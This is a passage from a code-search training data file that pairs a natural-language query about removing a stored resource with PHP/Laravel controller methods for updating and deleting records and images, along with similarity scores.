is successfully updated.',\n 'volume' => $volume\n ),\n 201\n );\n }", "public function update(Request $request, $id)\n {\n $product = ProductModel::find($id);\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->stock = $request->stock;\n\n if($request->image!=null){\n $imageName = time().'.'.$request->image->extension();\n $request->image->move(public_path('images'), $imageName);\n $product->image = \"/images/\".$imageName;\n }\n $product->save();\n return redirect(\"/products/index\")->with('success','Product has been updated');\n }", "public function update()\n {\n $accessory = Accessories::find(request('id'));\n\n if ($accessory == null) {\n return response()->json([\"error\" => \"aksesuaras nerastas\"], 404);\n }\n\n $this->validateData();\n $path = $accessory->src;\n\n if (request()->hasFile('src')) {\n\n if (Storage::disk('public')->exists($accessory->src)) {\n Storage::disk('public')->delete($accessory->src);\n }\n $path = request()->file('src')->store('accessoriesImages', 'public');\n }\n\n $accessory->update(array_merge($this->validateData(), ['src' => $path]));\n\n return response()->json([\"data\" => $accessory], 200);\n }", "public function update(ProductStoreRequest $request,$id)\n {\n $data = $request->validated();\n $product = Product::where('id',$id);\n $product->update($data);\n return response(\"Producto actualizado con éxito\",200);\n }", "public function update($entity)\n {\n \n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->write($path,stream_get_contents($resource),$config);\n }", "public function update($id, Request $request)\n {\n date_default_timezone_set('Asia/Taipei');\n $data = $request->all();\n $dbData = Product::find($id);\n $myfile = Storage::disk('local');\n if ($request->hasFile('img')) {\n $file = $request->file('img');\n $path = $myfile->putFile('public', $file);\n $data['img'] = $myfile->url($path);\n File::delete(public_path($dbData->img));\n }\n $dbData->update($data);\n\n if ($request->hasFile('imgs')) {\n // $this->fetchDestroyByProdId($id);\n $localS = Storage::disk('local');\n\n $fileS = $request->file('imgs');\n $imgs = [];\n foreach ($fileS as $i) {\n $pathS = $localS->putFile('public', $i);\n $imgs[] = $localS->url($pathS);\n }\n foreach ($imgs as $img) {\n ProductImg::create([\n 'product_id' => $id,\n 'img' => $img\n ]);\n }\n }\n\n return redirect()->route('admin');\n }", "public function update(Request $request, Product $product)\n { $remfile= $product->image;\n if($request->filep){\n $product->image=$request->filep;\n File::delete(storage_path('app/public/products/'.$remfile));\n }else{\n $product->image=$remfile;\n }\n //rmdir(storage_path('app/public/products/'.$remfile));\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->save();\n sleep(3);\n toast('Details updated successfully','info');\n return redirect('/products');\n }", "public function update($id, $input);", "public function update(ProductRequest $request,int $id): ProductResource\n {\n $attributes = $request->only('supplier_id', 'name', 'warehouses');\n\n return new ProductResource($this->productRepository->update($id, $attributes)); }", "public function update(Request $request, $id)\n {\n $slider=new Slider;\n $slider=$slider::find($id);\n \n \n if($file =$request->file('slider')){\n if(Storage::delete('public/slider/'.$slider->slider)){\n\n //Get file original name//\n \n$original_name=$file->getClientOriginalName();\n\n //Get just the file name\n$filename=pathinfo($original_name,PATHINFO_FILENAME);\n\n//Create new file name\n$name=$filename.'_'.time().'.'.$file->getClientOriginalExtension();\n\n $destination='public/slider';\n $path=$request->slider->storeAs($destination,$name);\n $slider->slider=$name;\n $slider->save();\n return redirect('Admin/slider');\n\n }\n }\n}", "public function update(Request $request, $id)\n {/* dd($request->all()); */\n $acheivePic = $this->acheiveRepo->find($id);\n $acheive = $request->except('_method', '_token', 'photo', 'ar', 'en');\n $acheiveTrans = $request->only('ar', 'en');\n\n if ($request->hasFile('icon')) {\n // Delete old image first.\n $oldPic = public_path() . '/images/acheives/' . $acheivePic->icon;\n File::delete($oldPic);\n\n // Save the new one.\n $image = $request->file('icon');\n $imageName = $this->upload($image, 'acheives');\n $acheive['icon'] = $imageName;\n }\n\n $this->acheiveRepo->update($id, $acheive, $acheiveTrans);\n\n return redirect('admin-panel/widgets/acheive')->with('updated', 'updated');\n }", "public function update(Request $request, $id)\n {\n $data = $request->all();\n extract($data);\n\n $productVarient = new ProductVariant();\n $productVarient = $productVarient->find($id);\n $productVarient->vendor_id = auth()->user()->id;\n $productVarient->description = $prod_desc;\n $productVarient->price = $price;\n\n if(request()->hasFile('photo')){\n $image = request()->file('photo')->getClientOriginalName();\n $imageNewName = auth()->user()->id.'-'.$image;\n $file = request()->file('photo');\n $file->storeAs('images/product',$imageNewName, ['disk' => 'public']);\n $productVarient->image = $imageNewName;\n }\n \n $productVarient->save();\n\n return back()->withStatus(__('Product successfully updated.'));\n }", "public function update(Request $request, $id)\n {\n //if upload new image, delete old image\n $myfile=$request->old_photo;\n if($request->hasfile('photo'))\n {\n $imageName=time().'.'.$request->photo->extension();\n $name=$request->old_photo;\n\n if(file_exists(public_path($name))){\n unlink(public_path($name));\n $request->photo->move(public_path('backendtemplate/truefalseimg'),$imageName);\n $myfile='backendtemplate/truefalseimg/'.$imageName;\n }\n }\n //Update Data\n $truefalsequestion=TrueFalseQuestion::find($id);\n $truefalsequestion->name=$request->name;\n $truefalsequestion->photo=$myfile;\n $truefalsequestion->answer = $request->answer;\n $truefalsequestion->question_id = $request->question;\n $truefalsequestion->save();\n\n //Redirect\n return redirect()->route('truefalsequestions.index'); \n }", "public function update($id);", "public function update($id);", "private function update()\n {\n $this->data = $this->updateData($this->data, $this->actions);\n $this->actions = [];\n }", "public function put($path, $data = null);", "public function update(Request $request, $id)\n {\n $request->validate([\n 'path_image'=>'image',\n 'status'=>'required|in:0,1'\n ]);\n $slider=Slider::whereId($id)->first();\n if (is_null($slider)){\n return redirect()->route('sliders.index')->with('error','Slider does not exist');\n }\n try {\n if ($request->hasFile('path_image')){\n $file = $request->file('path_image');\n\n $image_path= $file->store('/sliders',[\n 'disk'=>'uploads'\n ]);\n Storage::disk('uploads')->delete($slider->image);\n\n $request->merge([\n 'image'=>$image_path,\n ]);\n }\n\n $slider->update( $request->only(['status','image']));\n return redirect()->route('sliders.index')->with('success','Updated successful');\n }catch (\\Exception $exception){\n return redirect()->route('sliders.index')->with(['error'=>'Something error try again']);\n\n }\n }", "public function update() {\n $this->accessory->update($this->accessory_params());\n\n if ($this->accessory->is_valid()) {\n $this->update_accessory_image($this->accessory);\n redirect('/backend/accessories', ['notice' => 'Successfully updated.']);\n } else {\n redirect(\n '/backend/accessories/edit',\n ['error' => $this->accessory->errors_as_string()],\n ['id' => $this->accessory->id]\n );\n }\n }", "public function update(Entity $entity);", "public function update(Request $request, $id)\n {\n $icon = SliderIcon::find($id);\n $data = $request->all();\n $data['active'] = $request->has('active') ? 1 : 0;\n if ($request->hasFile('img')) {\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $image = $request->file('img');\n $fileName = time().'_'.Str::lower(Str::random(5)).'.'.$image->getClientOriginalExtension();\n $path_to = '/upload/images/'.getfolderName();\n $image->storeAs('public'.$path_to, $fileName);\n $data['img'] = 'storage'.$path_to.'/'.$fileName;\n }\n $icon->update($data);\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества обнавлены');\n }", "public function update() {\n\t $this->layout = false;\n\t \n\t //set default response\n\t $response = array('status'=>'failed', 'message'=>'HTTP method not allowed');\n\t \n\t //check if HTTP method is PUT\n\t if($this->request->is('put')){\n\t //get data from request object\n\t $data = $this->request->input('json_decode', true);\n\t if (empty($data)) {\n\t $data = $this->request->data;\n\t }\n\t \n\t //check if product ID was provided\n\t if (!empty($data['id'])) {\n\t \n\t //set the product ID to update\n\t $this->Player->id = $data['id'];\n\t if ($this->Player->save($data)) {\n\t $response = array('status'=>'success','message'=>'Product successfully updated');\n\t } else {\n\t $response['message'] = \"Failed to update product\";\n\t }\n\t } else {\n\t $response['message'] = 'Please provide product ID';\n\t }\n\t }\n\t \n\t $this->response->type('application/json');\n\t $this->response->body(json_encode($response));\n\n\t return $this->response->send();\n\t}", "public function update(Request $request, $id)\n {\n //validate incoming request\n $request->validate([\n 'name' => 'string|max:100|nullable',\n 'picture' => 'max:2000|mimes:jpeg,jpg,png,svg|nullable', //max size 2mb,\n 'total' => 'integer|min:0|nullable', //value must be > 0\n 'selling_price' => 'numeric|min:0|nullable',\n 'cost_price' => 'numeric|min:0|nullable',\n 'category_id' => 'integer|nullable'\n ]);\n\n try {\n $product = Auth::user()->store->product()->findorFail($id);\n } catch (ModelNotFoundException $e) {\n return response()->json([\n \"message\" => \"Forbidden\"\n ], 403);\n }\n\n //if category id isnt null\n if ($category_id = $request->category_id) {\n if (!$this->isCategoryIdValid($category_id))\n return response()->json([\n \"message\" => \"Category Id is not valid\"\n ], 422);\n else\n $product->category_id = $request->category_id;\n }\n\n //if uploaded file exist\n if ($picture = $request->file(\"picture\")) {\n //if product already has logo\n if ($product->picture)\n Storage::delete(Product::$PICTURE_PATH . \"/\" . $product->picture);\n\n $picture_path = $picture->store(Product::$PICTURE_PATH);\n //remove folder name from path\n $product->picture = str_replace(Product::$PICTURE_PATH . \"/\", '', $picture_path);\n }\n\n $this->renewProduct($product, $request);\n $product->save();\n return response()->json(new ProductResource($product), 200);\n }", "public function update(Request $request, $id)\n {\n $request->validate([\n 'name' => 'required | min:3 | string',\n 'type' => 'required',\n 'producer' => 'required',\n 'image' => 'image | mimes:png,jpg,jpeg',\n 'price_input' => 'required | numeric | min:0 | max:300000000',\n 'promotion_price' => 'required | numeric | max:300000000',\n 'description' => 'required | string',\n\n ]);\n $product = Product::withTrashed()->findOrfail($id);\n $product->name = $request->name;\n $product->id_type = $request->type;\n $product->id_producer = $request->producer;\n\n $product->amount = $request->amount;\n if (request('image')) {\n $product->image = base64_encode(file_get_contents($request->file('image')->getRealPath()));\n }\n\n $product->price_input = $request->price_input;\n\n if ( $request->promotion_price >= 0 && $request->promotion_price < $product->price_input) {\n $product->promotion_price = $request->promotion_price;\n }else{\n return back()->with('error', '\n Do not enter a negative number');\n }\n $product->new = $request->new;\n\n $product->description = $request->description;\n\n $product->save();\n $product->size()->sync(request('size'));\n\n return redirect()->route('product.index')->with('success', 'Product Updated successfully');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n $product->name = $request->input('name');\n $product->description = $request->input('description');\n $product->lastPrice = $product->price !== $request->input('price') ? $product->price : NULL;\n $product->price = $request->input('price');\n\n if ($request->hasFile('image')) { \n $currentImg = $product->image;\n if ($currentImg) {\n Storage::delete('/public/' . $currentImg);\n }\n $image = $request->file('image'); \n $path = $image->store('images','public');\n $product->image = $path;\n };\n\n $product->save(); \n\n $product_promotions = $request->input('promotion');\n\n $product->promotions()->sync($product_promotions);\n\n return redirect()->route('admin.modify');\n }", "public static function updateImage($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n ResourceHandler::delete($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update($request, $id)\n {\n $this->checkExits($id);\n $data = $request->except(['_method','_token','photo']);\n\n if($request->photo)\n {\n try {\n $this->UploadFile($request);\n } catch (\\Exception $e) {\n //if has exception , don't has action\n }\n if ($this->img !== '') {\n $data['img'] = $this->img;\n }\n }\n\n $this->object->update($data);\n\n }", "public function updateProduct($request, $product)\n {\n $product->update($request->except(['_token', '_method', 'image']));\n if ($request->hasFile('image')) {\n $image = $request->file('image');\n $imageName = time() . '.' . $request->file('image')->extension();\n // $img = Image::make('public/foo.jpg');\n\n $image_resize = Image::make($image->getRealPath());\n $image_resize->resize(500, 500);\n $image_resize->save(public_path('images/') . $imageName, 100);\n $product->gallery = $imageName;\n $product->save();\n }\n $product->getTags()->sync($request->input('tags'));\n }" ]
[ "0.7425105", "0.70612276", "0.70558053", "0.6896673", "0.6582159", "0.64491373", "0.6346954", "0.62114537", "0.6145042", "0.6119944", "0.61128503", "0.6099993", "0.6087866", "0.6052593", "0.6018941", "0.60060275", "0.59715486", "0.5946516", "0.59400934", "0.59377414", "0.5890722", "0.5860816", "0.5855127", "0.5855127", "0.58513457", "0.5815068", "0.5806887", "0.57525045", "0.57525045", "0.57337505", "0.5723295", "0.5714311", "0.5694472", "0.5691319", "0.56879413", "0.5669989", "0.56565005", "0.56505877", "0.5646085", "0.5636683", "0.5633498", "0.5633378", "0.5632906", "0.5628826", "0.56196684", "0.5609126", "0.5601397", "0.55944353", "0.5582592", "0.5581908", "0.55813426", "0.5575312", "0.55717176", "0.55661047", "0.55624634", "0.55614686", "0.55608666", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55573726", "0.5556878", "0.5554201", "0.5553069", "0.55530256", "0.5543788", "0.55435944", "0.55412996", "0.55393505", "0.55368495", "0.5535236", "0.5534954", "0.55237365", "0.5520468", "0.55163723", "0.55125296", "0.5511168", "0.5508345", "0.55072427", "0.5502385", "0.5502337", "0.5501029", "0.54995877", "0.54979175", "0.54949397", "0.54949397", "0.54946727", "0.5494196", "0.54941916", "0.54925025", "0.5491807", "0.5483321", "0.5479606", "0.5479408", "0.5478678", "0.54667485", "0.5463411", "0.5460588", "0.5458525" ]
0.0
-1
Remove the specified resource from storage.
public function destroy($id) { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function delete($resource){\n return $this->fetch($resource, self::DELETE);\n }", "public function destroy(Resource $resource)\n {\n //\n }", "public function removeResource($resourceID)\n\t\t{\n\t\t}", "public function unpublishResource(PersistentResource $resource)\n {\n $client = $this->getClient($this->name, $this->options);\n try {\n $client->delete(Path::fromString($this->getRelativePublicationPathAndFilename($resource)));\n } catch (FileDoesNotExistsException $exception) {\n }\n }", "public function deleteResource(&$resource) {\n\n if ($this->connector != null) {\n $this->logger->addDebug(\"Deleting Resource Node from Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}}) detach delete a;\",\n [\n 'id' => $resource->getID()\n ]\n );\n $this->logger->addDebug(\"Updated neo4j to remove resource\");\n }\n\n }", "public function deleteShopifyResource() {\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'DELETE',\n ]);\n }", "public function deleteResource()\n {\n $database = new Database();\n $id = $this->_params['id'];\n $database->deleteResource($id);\n $this->_f3->reroute('/Admin');\n }", "protected function deleteResource($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function delete()\n {\n persistableCollection::getInstance($this->resourceName)->deleteObject($this);\n }", "public function remove()\n {\n $this->_getBackend()->remove($this->_id);\n }", "public function remove()\n {\n if (! ftruncate($this->fileHandle, 0)) {\n throw new StorageException(\"Could not truncate $this->path\");\n }\n if (! unlink($this->path)) {\n throw new StorageException(\"Could not delete $this->path\");\n }\n }", "public function delete()\n\t{\n\t\t$s3 = AWS::createClient('s3');\n $s3->deleteObject(\n array(\n 'Bucket' => $this->bucket,\n 'Key' => $this->location\n )\n );\n\t\tif($this->local_file && file_exists($this->local_file)) {\n\t\t\tunlink($this->local_file);\n\t\t}\n $this->local_file = null;\n\t}", "public function delete()\n\t{\n\t\tsfCore::db->query(\"DELETE FROM `swoosh_file_storage` WHERE `id`='%i';\", $this->id);\n\t\t$this->fFile->delete();\n\t}", "public function delete(): void\n {\n unlink($this->getPath());\n }", "public function delete()\n {\n if($this->exists())\n unlink($this->getPath());\n }", "public function remove($path);", "function deleteFileFromStorage($path)\n{\n unlink(public_path($path));\n}", "public function delete(): void\n {\n unlink($this->path);\n }", "private function destroyResource(DrydockResource $resource) {\n $blueprint = $resource->getBlueprint();\n $blueprint->destroyResource($resource);\n\n $resource\n ->setStatus(DrydockResourceStatus::STATUS_DESTROYED)\n ->save();\n }", "public static function delete($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function remove() {}", "public function remove() {}", "public function remove();", "public function remove();", "public function remove();", "public function remove();", "function delete_resource($resource_id, $page)\n\t{\n\t\t//get resource data\n\t\t$table = \"resource\";\n\t\t$where = \"resource_id = \".$resource_id;\n\t\t\n\t\t$this->db->where($where);\n\t\t$resource_query = $this->db->get($table);\n\t\t$resource_row = $resource_query->row();\n\t\t$resource_path = $this->resource_path;\n\t\t\n\t\t$image_name = $resource_row->resource_image_name;\n\t\t\n\t\t//delete any other uploaded image\n\t\t$this->file_model->delete_file($resource_path.\"\\\\\".$image_name, $this->resource_path);\n\t\t\n\t\t//delete any other uploaded thumbnail\n\t\t$this->file_model->delete_file($resource_path.\"\\\\thumbnail_\".$image_name, $this->resource_path);\n\t\t\n\t\tif($this->resource_model->delete_resource($resource_id))\n\t\t{\n\t\t\t$this->session->set_userdata('success_message', 'resource has been deleted');\n\t\t}\n\t\t\n\t\telse\n\t\t{\n\t\t\t$this->session->set_userdata('error_message', 'resource could not be deleted');\n\t\t}\n\t\tredirect('resource/'.$page);\n\t}", "public function deleteImage(){\n\n\n Storage::delete($this->image);\n }", "public function del(string $resource): bool|string\n {\n $json = false;\n $fs = unserialize($_SESSION['rfe'][$this->getRoot()], ['allowed_classes' => false]);\n if (array_key_exists($resource, $fs)) {\n // if $item has children, delete all children too\n if (array_key_exists('dir', $fs[$resource])) {\n foreach ($fs as $key => $file) {\n if (isset($file['parId']) && $file['parId'] == $resource) {\n unset($fs[$key]);\n }\n }\n }\n unset($fs[$resource]);\n $_SESSION['rfe'][$this->getRoot()] = serialize($fs);\n $json = '[{\"msg\": \"item deleted\"}]';\n }\n return $json;\n }", "public function destroy()\n\t{\n\t\treturn unlink(self::filepath($this->name));\n\t}", "public function destroy($id) {\n $book = Book::find($id);\n // return unlink(storage_path(\"public/featured_images/\".$book->featured_image));\n Storage::delete(\"public/featured_images/\" . $book->featured_image);\n if ($book->delete()) {\n return $book;\n }\n\n }", "public function destroy($id)\n {\n Storageplace::findOrFail($id)->delete();\n }", "public function destroyResourceImage(): void\n\t{\n\t\tif (isset($this->image)) {\n\t\t\t@imagedestroy($this->image->getImageResource());\n\t\t}\n\t}", "public function deleteResource(PersistentResource $resource)\n {\n $pathAndFilename = $this->getStoragePathAndFilenameByHash($resource->getSha1());\n if (!file_exists($pathAndFilename)) {\n return true;\n }\n if (unlink($pathAndFilename) === false) {\n return false;\n }\n Files::removeEmptyDirectoriesOnPath(dirname($pathAndFilename));\n return true;\n }", "public function deleteImage(){\n \tStorage::delete($this->image);\n }", "public function destroy()\n {\n $file=public_path(config('larapages.media.folder')).Input::all()['folder'].'/'.Input::all()['file'];\n if (!file_exists($file)) die('File not found '.$file);\n unlink($file);\n }", "public function delete() \r\n {\r\n if($this->exists())\r\n {\r\n unlink($this->fullName());\r\n }\r\n }", "public function destroy($id)\n {\n Myfile::find($id)->delete();\n }", "public function destroy($delete = false)\n {\n if (null !== $this->resource) {\n $this->resource->clear();\n $this->resource->destroy();\n }\n\n $this->resource = null;\n clearstatcache();\n\n // If the $delete flag is passed, delete the image file.\n if (($delete) && file_exists($this->name)) {\n unlink($this->name);\n }\n }", "public static function delete($path){\r\n $currentDir = getcwd();\r\n $storageSubPath = \"/../../\".STORAGE_PATH;\r\n $file = $currentDir . $storageSubPath . '/' . $path;\r\n\r\n unlink($file);\r\n }", "public function destroy(Storage $storage)\n {\n return redirect()->route('storages.index');\n }", "public function remove() {\n //Check if there are thumbs and delete files and db\n foreach ($this->thumbs()->get() as $thumb) {\n $thumb->remove();\n } \n //Delete the attachable itself only if is not default\n if (strpos($this->url, '/defaults/') === false) {\n Storage::disk('public')->delete($this->getPath());\n }\n parent::delete(); //Remove db record\n }", "public function removeFile($uri){\n return Storage::disk('public')->delete($uri);\n }", "public function destroy(Resource $resource)\n {\n if( $resource->delete() ){\n return Response(['status'=>'success','message'=>'Resource deleted']); \n } else {\n return Response(['status'=>'error', 'message'=>'Something went wrong']);\n }\n }", "public function delete($path);", "public function delete($path);", "public function destroy($id)\n { \n File::find($id)->remove();\n \n return redirect()->route('files.index');\n }", "public function destroy($id)\n {\n $supplier = Supplier::find($id);\n $photo = $supplier->photo;\n if ($photo) {\n unlink($photo);\n }\n $supplier->delete();\n }", "public function destroy($id)\n {\n $student = Student::where('id', $id)->first();\n // $path = $student->image;\n unlink($student->image);\n Student::findOrFail($id)->delete();\n return response('Deleted!');\n }", "public function destroy($id)\n {\n $icon = SliderIcon::find($id);\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $icon->delete();\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества удалёны');\n }", "public function delete($path, $data = null);", "public function destroy($id)\n {\n $items=Items::find($id);\n // delete old file\n if ($items->photo) {\n $str=$items->photo;\n $pos = strpos($str,'/',1);\n $str = substr($str, $pos);\n $oldFile = storage_path('app\\public').$str;\n File::Delete($oldFile); \n }\n $items->delete();\n return redirect()->route('items.index');\n }", "public function destroy($id)\n {\n $carousel = Carousel::find($id);\n $image = $carousel->image;\n\n $basename ='img/carousel/' . basename($image);\n //Delete the file from disk\n if(file_exists($basename)){\n unlink($basename);\n }\n //With softDeletes, this is the way to permanently delete a record\n $carousel->delete();\n Session::flash('success','Product deleted permanently');\n return redirect()->back();\n }", "public function remove()\n {\n $fs = new Filesystem();\n $fs->remove($this->dir());\n }", "public static function destroy(int $resource_id)\n {\n try {\n $image_data = ListingImage::where('id', $resource_id)->first();\n self::delete_image($image_data->name);\n $delete = ListingImage::where('id', $resource_id)->delete();\n\n // activity()\n // ->causedBy(Auth::user()->id)\n // ->performedOn($delete)\n // ->withProperties(['id' => $delete->id])\n // ->log('listing image deleted');\n return response()->json(['status'=> 'ok', 'msg'=> 'Data deleted successfully']);\n } catch (Exception $e) {\n $e->getMessage();\n }\n }", "public function destroy(Storage $storage)\n {\n $this->storage->destroy($storage);\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource deleted', ['name' => trans('product::storages.title.storages')]));\n }", "public function del($path){\n\t\treturn $this->remove($path);\n\t}", "public function destroy($id)\n {\n //\n $product = Product::findOrFail($id);\n $product->delete();\n if($product->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$product->img);\n // return 'deleted';\n }\n return redirect()->route('product.index'); \n }", "public function removeUpload()\n{\n if ($file = $this->getAbsolutePath()) {\n unlink($file); \n }\n}", "public function destroy($id)\n {\n $image = Images::withTrashed()->find($id);\n\n Storage::disk('uploads')->delete(\"social-media/$image->filename\");\n\n $image->tags()->detach();\n $image->detachMedia(config('constants.media_tags'));\n $image->forceDelete();\n\n return redirect()->back()->with('success', 'The image was successfully deleted');\n }", "public function destroyByResourceId($resource_id)\n {\n// $online_party = $this->onlinetrack->where('resource_id', $resource_id)->get()->first();\n// $online_party->status = \"offline\";\n// $online_party->save();\n// return $online_party;\n return $this->onlinetrack->where('resource_id', $resource_id)->delete();\n }", "public function revoke($resource, $permission = null);", "public function destroy($id)\n {\n $data=Image::find($id);\n $image = $data->img;\n\n\n $filepath= public_path('images/');\n $imagepath = $filepath.$image;\n\n //dd($old_image);\n if (file_exists($imagepath)) {\n @unlink($imagepath);\n }\n\n\n $data->delete();\n\n return redirect()->route('image.index');\n }", "function delete($path);", "public function removeItem(int $id)\n\t{\n\t\t$this->storage->remove($id);\n\t}", "public function destroy(File $file)\n {\n //\n $v = Storage::delete($file->path);\n \n }", "public function destroyResource($resource)\n {\n if (!is_object($resource)) {\n return false;\n }\n\n $resource_type = get_class($resource);\n $resource_id = $resource->getKey();\n\n return Role::where('resource_type', $resource_type)\n ->where('resource_id', $resource_id)\n ->delete();\n }", "public function remove($filePath){\n return Storage::delete($filePath);\n }", "public function remove(): void\n {\n $file = $this->getAbsolutePath();\n if (!is_file($file) || !file_exists($file)) {\n return;\n }\n\n unlink($file);\n }", "public function destroy(Request $request, Storage $storage)\n {\n $storage->delete();\n $request->session()->flash('alert-success', 'Запись успешно удалена!');\n return redirect()->route('storage.index');\n }", "public function remove(Storable $entity): Storable\n {\n $this->getRepository(get_class($entity))->remove($entity);\n $this->detach($entity);\n\n return $entity;\n }", "public function processDeletedResource(EntityResource $resource)\n {\n /** @var AuthorizationRepository $repository */\n $repository = $this->entityManager->getRepository('Edweld\\AclBundle\\Entity\\Authorization');\n\n $repository->removeAuthorizationsForResource($resource);\n }", "function _unlink($resource, $exp_time = null)\n {\n if(file_exists($resource)) {\n return parent::_unlink($resource, $exp_time);\n }\n\n // file wasn't found, so it must be gone.\n return true;\n }", "public function remove($id);", "public function remove($id);", "public function deleted(Storage $storage)\n {\n //\n }", "public function destroy($id)\n {\n $data = Product::findOrFail($id);\n\n if(file_exists('uploads/product/'.$data->image1)){\n unlink('uploads/product/'.$data->image1);\n }\n\n if(file_exists('uploads/product/'.$data->image2)){\n unlink('uploads/product/'.$data->image2);\n }\n\n if(file_exists('uploads/product/'.$data->image3)){\n unlink('uploads/product/'.$data->image3);\n }\n $data->delete();\n }", "public function removeUpload()\n {\n $file = $this->getAbsolutePath();\n if ($file) {\n unlink($file);\n }\n }", "public function resources_delete($resource_id, Request $request) {\n if ($resource_id) {\n $resp = Resources::where('id', '=', $resource_id)->delete();\n if($resp){\n $msg = 'Resource has been deleted successfully.';\n $request->session()->flash('message', $msg);\n }\n }\n //return redirect()->route('admin-factor-list');\n return redirect()->to($_SERVER['HTTP_REFERER']);\n }", "public function delete()\n {\n try\n {\n $thumbnail = $this->getThumbnail();\n if($thumbnail)\n {\n $thumbnail->delete();\n }\n }\n catch(sfException $e){}\n \n // delete current file\n parent::delete();\n }", "function deleteResource($uuid){\n $data = callAPI(\"DELETE\",\"/urest/v1/resource/\".$uuid);\n return $data;\n}", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function remove_resource($idproject){\n\t\t\n\t\t// Load model and try to get project data\n\t\t$this->load->model('Projects_model', 'projects');\n\t\t\n\t\t// Update\n\t\t$this->projects->save_project(array(\"ext\" => \"\", \"vzaar_idvideo\" => \"0\", \"vzaar_processed\" => \"0\"), $idproject);\n\t}", "public function destroy($id){\n $file_data = Slider::findOrFail($id);\n File::delete(public_path('../storage/app/public/sliders/'.$file_data->path));\n $slider = Slider::destroy($id);\n return response()->json(null, 204);\n }", "public function delete()\n\t{\n\t\t@unlink($this->get_filepath());\n\t\t@unlink($this->get_filepath(true));\n\t\tparent::delete();\n\t}", "public function delete($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'DELETE');\n }", "public function destroy($id)\n {\n //Find Slider With Id\n $slider = Slider::findOrFail($id);\n // Check If The Image Exist\n if(file_exists('uploads/slider/'.$slider->image)){\n\n unlink( 'uploads/slider/'.$slider->image);\n }\n $slider->delete();\n return redirect()->back()->with('success','Slider Successfully Deleted');\n }" ]
[ "0.6672584", "0.6659381", "0.6635911", "0.6632799", "0.6626075", "0.65424126", "0.65416265", "0.64648265", "0.62882507", "0.6175931", "0.6129922", "0.60893893", "0.6054415", "0.60428125", "0.60064924", "0.59337646", "0.5930772", "0.59199584", "0.5919811", "0.5904504", "0.5897263", "0.58962846", "0.58951396", "0.58951396", "0.58951396", "0.58951396", "0.5880124", "0.58690923", "0.5863659", "0.5809161", "0.57735413", "0.5760811", "0.5753559", "0.57492644", "0.5741712", "0.57334286", "0.5726379", "0.57144034", "0.57096", "0.5707689", "0.5705895", "0.5705634", "0.5703902", "0.5696585", "0.5684331", "0.5684331", "0.56780374", "0.5677111", "0.5657287", "0.5648262", "0.5648085", "0.5648012", "0.5640759", "0.5637738", "0.5629985", "0.5619264", "0.56167465", "0.5606877", "0.56021434", "0.5601949", "0.55992156", "0.5598557", "0.55897516", "0.5581397", "0.5566926", "0.5566796", "0.55642897", "0.55641", "0.5556583", "0.5556536", "0.5550097", "0.5543172", "0.55422723", "0.5540013", "0.5540013", "0.55371785", "0.55365825", "0.55300397", "0.552969", "0.55275744", "0.55272335", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.5525997", "0.5525624", "0.5523911", "0.5521122", "0.5517412" ]
0.0
-1
Show the form for editing the specified User.
public function editProfile() { $user = Auth::user(); $data['employer'] = $user; $data['company'] = Company::where('user_id', $user->id)->first(); return $this->sendResponse($data, 'Employer retrieved successfully.'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function edit() {\n\t\t// Make sure a user exists.\n\t\tif (empty($this->user)) {\n\t\t\t$_SESSION['title'] = 'Error';\n\t\t\t$_SESSION['data'] = array(\n\t\t\t\t'error' => 'The selected user was invalid.',\n\t\t\t\t'link' => 'management/users'\n\t\t\t);\n\t\t\tredirect(ABSURL . 'error');\n\t\t}\n\n\t\t// Prepare data for contents.\n\t\tnonce_generate();\n\t\t$data = array(\n\t\t\t'user' =>& $this->user\n\t\t);\n\t\t$this->title = 'Edit User: ' . $this->user['username'];\n\t\t$this->content = $this->View->getHtml('content-users-edit', $data, $this->title);\n\t}", "public function edit() \n\t{\n UserModel::authentication();\n\n //get the user's information \n $user = UserModel::user();\n\n\t\t$this->View->Render('user/edit', ['user' => $user]);\n }", "public function editUser(UserEditForm $form, User $user);", "public function edit()\n {\n $id = $this->getId();\n return view('panel.user.form', [\n 'user' => $this->userRepository->findById($id),\n 'method' => 'PUT',\n 'routePrefix' => 'profile',\n 'route' => 'profile.update',\n 'parameters' => [$id],\n 'breadcrumbs' => $this->getBreadcrumb('Editar')\n ]);\n }", "public function edit() {\n $token = $this->require_authentication();\n $user = $token->getUser();\n require \"app/views/user/user_edit.phtml\";\n }", "public function edit(User $user) //mostra formulário de edição de um usuário\n 